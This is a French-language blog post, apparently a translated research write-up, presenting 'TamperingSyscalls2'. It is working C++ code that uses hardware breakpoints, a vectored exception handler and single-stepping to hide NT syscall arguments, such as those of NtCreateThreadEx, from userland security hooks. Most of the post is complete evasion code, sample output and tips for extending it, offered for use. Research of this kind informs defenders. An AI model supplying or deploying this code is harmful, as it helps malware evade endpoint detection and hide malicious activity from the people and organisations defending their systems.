Je n'ai pas besoin de décrire pourquoi cela serait souhaitable et super ÉPIQUE, ni de m'attarder sur le hooking userland, car ces sujets ne sont pas à l'ordre du jour ni préoccupants, et ils ont déjà été traités en profondeur à plusieurs reprises [5].
Nous créons un nouveau mappage utilisant (adresse | ThreadID) comme clé unique, et la valeur est une structure contenant les arguments de la fonction. Nous créerons une nouvelle entrée dans notre mappage à l'entrée du syscall et effacerons les valeurs dans les registres et la pile.
Nous utilisons le pas-à-pas (via le drapeau de piège) pour faire comme si nous avions plus de registres de débogage que nous n'en avons réellement. Nous POUVONS le faire, étant donné que nous savons quand et où nous avons besoin que des actions spécifiques se produisent.
Lorsque nous atteignons l'adresse de notre syscall souhaité, nous restaurons nos valeurs depuis l'entrée de la table de hachage associée à notre clé. Cela ramènera les valeurs de la pile dans les registres. Nous continuons ensuite le pas-à-pas jusqu'à l'instruction de retour, où nous arrêtons le pas-à-pas et continuons notre chemin !
Cela nous permet en fin de compte un hooking sans type. Qui plus est, initialement, nous avons spécifié que nous ne masquerons que 12 arguments, 4 depuis les registres et 8 depuis la pile. Cette valeur de « 8 » n'est qu'arbitraire mais recommandée ; masquer ou modifier davantage de valeurs/arguments sur la pile peut produire un comportement indésirable.
Notre pile d'appels devrait déjà provenir d'une DLL appropriée, et vous n'avez donc pas besoin d'appeler les fonctions natives ; vous pouvez appeler un wrapper approprié depuis n'importe quelle DLL, à condition d'appeler le constructeur avec l'adresse de la fonction native dans NTDLL.
C'est trivial et peut être réalisé en modifiant la macro : #define STK_ARGS 8 // 12 - 4 = 8 - should cover most Nt functions.
Dans l'exemple, nous montrons son fonctionnement avec NtCreateThreadEx et NtCreateMutant ! Assurez-vous de n'utiliser que les 4 registres de débogage individuellement par thread. Une fois que vous avez terminé avec une fonction spécifique, vous pouvez libérer le registre de débogage associé en appelant la méthode RemoveHWBPS.
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx; SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx; SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8; SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; SYSCALL_MAP[key].stk[idx] = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset); }
ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->Rdx = 0; ExceptionInfo->ContextRecord->R8 = 0; ExceptionInfo->ContextRecord->R9 = 0; // ...
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
// mov rcx, r10 ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx; ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8; ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = SYSCALL_MAP[key].stk[idx]; }
- Nous allons refaire un pas à pas.
3. Nous sommes maintenant à (address == ai.return_addr)
- Nous pouvons désormais arrêter l'exécution pas à pas et ne positionner que le Resume Flag (et non le Trap Flag)
- Cela continuera l'exécution, comme d'habitude, en n'affectant que très peu les performances.
La technique décrite précédemment est implémentée, en se concentrant sur le masquage de TOUS les arguments de
la MAJORITÉ des syscalls natifs ! Profitez donc de cette solution élégante et simple
où je fournis également les instructions d'impression de débogage, afin que vous puissiez voir les modifications apportées
à la pile et aux registres, ainsi que les processus de réflexion derrière tout cela.```C
//////////////////////////////////////////////////////////////////////////////////////////
/* TamperingSyscalls2.cpp - @rad9800 */
/* C++ Generic x64 user-land evasion technique utilizing HWBP.cpp */
/* Hides up to 12 args of up to 4 NT calls per thread */
//////////////////////////////////////////////////////////////////////////////////////////
#include <windows.h>
#include <tlhelp32.h>
#include <functional>
//////////////////////////////////////////////////////////////////////////////////////////
/* Structs */
//////////////////////////////////////////////////////////////////////////////////////////
// 12 - 4 = 8 - should cover most Nt functions.
#define STK_ARGS 8 // Increase this value, works until ~100...
typedef struct {
uintptr_t syscall_addr; // +0x12
uintptr_t return_addr; // +0x14
} ADDRESS_INFORMATION;
typedef struct {
uintptr_t Rcx; // First
uintptr_t Rdx; // Second
uintptr_t R8; // Third
uintptr_t R9; // Fourth
uintptr_t stk[STK_ARGS]; // Stack args
} FUNC_ARGS;
//////////////////////////////////////////////////////////////////////////////////////////
/* Macros */
//////////////////////////////////////////////////////////////////////////////////////////
#define PRINT_ARGS( State, ExceptionInfo ) \
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n", \
State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId()); \
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx); \
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx); \
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8); \
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9); \
for (UINT idx = 0; idx < STK_ARGS; idx++){ \
const size_t offset = idx * 0x8 + 0x28; \
printf("%d:\t0x%p\n", (idx + 5), (PVOID)*(PULONG64) \
((ExceptionInfo)->ContextRecord->Rsp + offset)); \
}
//////////////////////////////////////////////////////////////////////////////////////////
/* Globals */
//////////////////////////////////////////////////////////////////////////////////////////
std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 };
// syscall opcode { 0x55 } address, func args in registers and stack
std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };
//////////////////////////////////////////////////////////////////////////////////////////
/* Functions */
//////////////////////////////////////////////////////////////////////////////////////////
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)
{
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
// Find our ret ROP gadget (pointer decay so need explicit size)
uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size)
{
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// memcmp WILL be optimized
if (memcmp((LPVOID)(function + i), stub, size) == 0) {
return (function + i);
}
}
return NULL;
}
DWORD WINAPI TestThread(LPVOID lpParameter);
//////////////////////////////////////////////////////////////////////////////////////////
/* Classes */
//////////////////////////////////////////////////////////////////////////////////////////
struct TS2_HWBP {
private:
const uintptr_t address;
UINT pos;
public:
TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address },
pos{ idx % 4 }
{
SetHWBP(GetCurrentThread(), address, pos, true);
BYTE syscop[] = { 0x0F, 0x05 };
ADDRESS_MAP[address].syscall_addr =
FindRopAddress(address, syscop, sizeof(syscop));
BYTE retnop[] = { 0xC3 };
ADDRESS_MAP[address].return_addr =
FindRopAddress(address, retnop, sizeof(retnop));
};
VOID RemoveHWBPS()
{
SetHWBP(GetCurrentThread(), address, pos, false);
}
~TS2_HWBP()
{
RemoveHWBPS();
}
};
//////////////////////////////////////////////////////////////////////////////////////////
/* Exception Handler */
//////////////////////////////////////////////////////////////////////////////////////////
LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)
{
const auto address = ExceptionInfo->ContextRecord->Rip;
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
for (const auto& [syscall_instr, ai] : ADDRESS_MAP)
{
// check we are inside valid syscall instructions
if ((address >= syscall_instr) && (address <= ai.return_addr)) {
printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr);
printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);
if (address == syscall_instr) // mov r10, rcx
{
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
PRINT_ARGS("HIDING", ExceptionInfo);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
}
PRINT_ARGS("HIDDEN", ExceptionInfo);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
}
else if (address == ai.syscall_addr)
{
auto const key = (address | GetCurrentThreadId());
// SSN in ExceptionInfo->ContextRecord->Rax
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
PRINT_ARGS("RESTORED", ExceptionInfo);
SYSCALL_MAP.erase(key);
}
else if (address == ai.return_addr)
{
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
//////////////////////////////////////////////////////////////////////////////////////////
/* Entry */
//////////////////////////////////////////////////////////////////////////////////////////
int main()
{
const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);
TS2_HWBP TS2NtCreateThreadEx{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateThreadEx")),
0
};
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
if (t) WaitForSingleObject(t, INFINITE);
}
TS2NtCreateThreadEx.RemoveHWBPS();
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}
DWORD WINAPI TestThread(LPVOID lpParameter)
{
UNREFERENCED_PARAMETER(lpParameter);
printf("\n----TestThread----\n\n");
TS2_HWBP TS2NtCreateMutant{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateMutant")),
0
};
HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);
return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
/* EOF */
//////////////////////////////////////////////////////////////////////////////////////////
Voici un exemple de sortie montrant les arguments de NtCreateThreadEx étant masqués.``` 0x00007FFBDF485400 >= 0x00007FFBDF485400 0x00007FFBDF485400 <= 0x00007FFBDF485414 HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc 1: 0x00000062618FF8D8 2: 0x00000000001FFFFF 3: 0x0000000000000000 4: 0xFFFFFFFFFFFFFFFF 5: 0x00007FF79FB01FA0 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x00000062618FF9F0 12: 0x000001C700000000 HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc 1: 0x0000000000000000 2: 0x0000000000000000 3: 0x0000000000000000 4: 0x0000000000000000 5: 0x0000000000000000 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x0000000000000000 12: 0x0000000000000000 0x00007FFBDF485403 >= 0x00007FFBDF485400 0x00007FFBDF485403 <= 0x00007FFBDF485414 0x00007FFBDF485408 >= 0x00007FFBDF485400 0x00007FFBDF485408 <= 0x00007FFBDF485414 0x00007FFBDF485410 >= 0x00007FFBDF485400 0x00007FFBDF485410 <= 0x00007FFBDF485414 0x00007FFBDF485412 >= 0x00007FFBDF485400 0x00007FFBDF485412 <= 0x00007FFBDF485414 RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc 1: 0x00000062618FF8D8 2: 0x00000000001FFFFF 3: 0x0000000000000000 4: 0xFFFFFFFFFFFFFFFF 5: 0x00007FF79FB01FA0 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x00000062618FF9F0 12: 0x000001C700000000 0x00007FFBDF485414 >= 0x00007FFBDF485400 0x00007FFBDF485414 <= 0x00007FFBDF485414
----TestThread---- [...]
TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7
TamperingSyscalls2 (mis à jour) - https://godbolt.org/z/edf9v1Wj6
TamperingSyscalls2 (C pur) - https://godbolt.org/z/9va7YzEe9
Le code partagé devrait fonctionner pour la plupart des syscalls, mais vous devriez tester avant utilisation. La
seule limitation majeure des travaux présentés est une dépendance aux hashmaps
(std::unordered_map); cela appellera en interne diverses fonctions natives indirectement, telles
que NtAllocateVirtualMemory, ce qui nous empêche de les hooker. Cela peut être réutilisé pour
fonctionner avec x86 avec un effort minimal.
À l'avenir, vous pourriez modifier les bibliothèques pour utiliser le single stepping, comme montré dans le
dernier exemple. Vous auriez besoin de savoir quand vous voulez arrêter le single-stepping (une adresse
ou une plage) et le faire de cette façon. Cela peut aussi être utilisé pour le hooking de PAGE_GUARD.
Vous pourriez aussi remplacer `AddVectoredExceptionHandler` par :
`SetUnhandledExceptionFilter(ExceptionHandler);`
Références :
[1] [https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler](https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler)
[2] [https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
[3] [https://unit42.paloaltonetworks.com/sockdetour/](https://unit42.paloaltonetworks.com/sockdetour/)
[4] [https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/](https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/)
[5] [https://fool.ish.wtf/2022/08/tamperingsyscalls.html](https://fool.ish.wtf/2022/08/tamperingsyscalls.html)
[6] [https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs)
Sur ce, je conclus sur une note positive ; j'espère que vous avez compris la
puissance BRUTE INÉGALÉE des points d'arrêt matériels !!!
Salutations à jonas, hjonk, smelly, mez0, et aux autres vieux ;)```
.
~. .
!~ :^.
^77^ :~!7:
.~!^. ~7!!
:!: :7^.
~!. ~! ...:^~.
!7. .!^ !!!~:
~7. ^7: .7~.
.:^::. .7! !! !~
....:::^~!~. !!: .7^ .!^
.:^~:. :!!:.^!. .~7.
~^^~?^. :!!!~:::::^~7~
.^:~!7!^. ^7^:^~~~~~^:
:^~^:~7~. .77~
:~~:^^~~!!: :~~. -your mate
.!7~:::~!~~!!^ .!^. ^^. rad
!?^^.::^~~~777!~. ^7. .^~^:
^??~^:.:::^~~~!!~!7!!^. .!! .~98. ...^~~~^:
.~7JJ~:^::::::^~~^~~!!~!7JY?^.:...:: :: .~?5: .?G5Y7!:
.:^7JJ777^^~~~~~^^^:^!~~~!7???J7~:^^::.... ... . ^!7.^:.:~ JBYJ~.
.^?5J!~^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....~^::... .: ::~7!.:~^^::^^ ?B7:: .....
~^^~!!!^^~~!!77777~~~~!~!!777????!::..:.. . .^~!!77~~!~^~^ .:. ...^~: . !B7. ~~::.
:. .^!?7:::^^^!!7??J?7!!!!7?7:::. ... .^!77!~^:~!!~:~. ..: J? ... .^~
.^!J:^~^^:::^~7?YYYJ7!!..:. :^^^~77?777!~::^^ . . ....... .. .. ...:~~~!!~
.~~?:^^^^:^^^~^^~!7!~7!:. .^:^777!7??7!!!^:~: . . ....::..... .^~~~^^~^~^
^^7^^!~^^~^^~~~:.:..^!~:^^:~7??7????7!!~^:~: . ... .......... .~J?7!~~^^^^
.~!~^!^^^^^~^..:~^....:~~.^!7JYY5YJJ?77!:.^~ .. .:..~.. .... :5Y?7777~~~^
:~7^^~^^~~~:..::^^:. :!^..:~!!!77???JJ?!^~~!!:. .^::::.::^..: .~J?7~~^^^^^^
~!!.^~!!!^.::::... ^~:..~7JJJ??777!~!!!!!~~~^. .......^^^ ...!J?77!!77?7!~
^7!::~!!^:..:^::.. .~^...^~!77????77!~~~~^^!?!~. . .. .::..:. .^~7Y5YYYJ???!!
^?7::^^~!. :::::. :~: ... .....::::^^^~!!!^. ....:!?~!7!. .^..:?5YYJ?777!!
~?7^^!!7!: ..:... ^~::.:^~^:::.... ..:::~!!..7JJYYYYJJJ??J?JJ
:7!~::~~~~: ... .~^:.:::...^~^:::::...... ......... :!: ~~!7??JJJJJ???777
.:~^~~7!!77!!^ :^:................::....:::.....:.:.. :!: :77J?7!!7??77!~~~~
?J5~7~!!!77!!!!!~^:...~^. .. ........:^^^^:....:.... :!. .~?Y5YJ??J?7!~^^^^
~^::~!!!!!77!!~~~!7!~!^:^~~~~^:.. ....:::^^^::........ :~ .^?JJYJJ777!~^^^
.^??~^!!~^^::~~~^:~!~~!77!!~^^^:. .....::::^:.. .... ^^ .. ..:7J5YJJ?!!~~
.~J!~~~^^:~^::::^^^^!7!!~~~~!!^. .. ...::^......... .^::..:... .^755YJ???7
.^7~^~:^!^:^:^^^^^~!!!!~~~~~~:. .. ...:... .....:^^^:^::: ^JYYY?!~~
^!~:~!~^:^^~~~!~~~~~~~!7!!~: . . .. ..... .:..:^^::::.. .?Y?!!!!~
:!^~^^::::^~~^~~~~~~~!7!77~. . . . . ......:::.. . ^7!7?7~~